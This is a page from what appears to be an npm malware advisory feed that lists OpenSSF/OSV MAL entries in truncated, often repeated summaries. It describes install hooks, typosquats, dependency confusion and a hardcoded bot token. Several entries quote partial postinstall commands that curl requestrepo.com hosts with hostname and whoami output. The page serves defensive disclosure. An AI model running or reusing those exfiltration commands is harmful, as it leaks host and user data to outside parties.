npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 565
Updated 26 Oct 2026, 08:46 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-3752 blocks this version. The package ships cdp_inject.js, which combines child_process, fs, http/https, and base64 encoding to gather system informa...
OpenSSF/OSV malware advisory MAL-2026-3752 blocks this version. The package ships cdp_inject.js, which combines child_process, fs, http/https, and base64 encoding to gather system informa...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2024-1959 blocks this version. ccl-component-resources@99.0.0 is a dependency-confusion package: name targets a likely-internal package, semver is set to...
OpenSSF/OSV malware advisory MAL-2024-1959 blocks this version. ccl-component-resources@99.0.0 is a dependency-confusion package: name targets a likely-internal package, semver is set to...
OpenSSF/OSV malware advisory MAL-2026-6392 blocks this version. On `npm install`, this package automatically runs postinstall.js, which executes `curl -X POST` with a body containing the...
OpenSSF/OSV malware advisory MAL-2026-6391 blocks this version. On `npm install`, the package's postinstall.js executes `curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami...
OpenSSF/OSV malware advisory MAL-2026-6390 blocks this version. On `npm install`, the package's postinstall.js unconditionally executes `exec('curl http://qvmjcw4s.requestrepo.com')`, sen...
OpenSSF/OSV malware advisory MAL-2026-3821 blocks this version. The package citrea-sdk was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3820 blocks this version. The package citrea-bridge was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3663 blocks this version. The OpenSSF Package Analysis project identified 'chia-network' @ 1.0.0 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-3756 blocks this version. cheerio-tool typosquats the popular `cheerio` HTML parser (README claims 'Cheerio Tool utility helpers', keywords are 'loda...
OpenSSF/OSV malware advisory MAL-2026-3756 blocks this version. cheerio-tool typosquats the popular `cheerio` HTML parser (README claims 'Cheerio Tool utility helpers', keywords are 'loda...
OpenSSF/OSV malware advisory MAL-2026-3756 blocks this version. cheerio-tool typosquats the popular `cheerio` HTML parser (README claims 'Cheerio Tool utility helpers', keywords are 'loda...
OpenSSF/OSV malware advisory MAL-2026-4518 blocks this version. cheaty-sync-bot ships a clipboard-sync CLI that hardcodes a single Telegram bot token (index.js:10) owned by the package au...
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.8 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.7 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.6 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.5 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.4 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)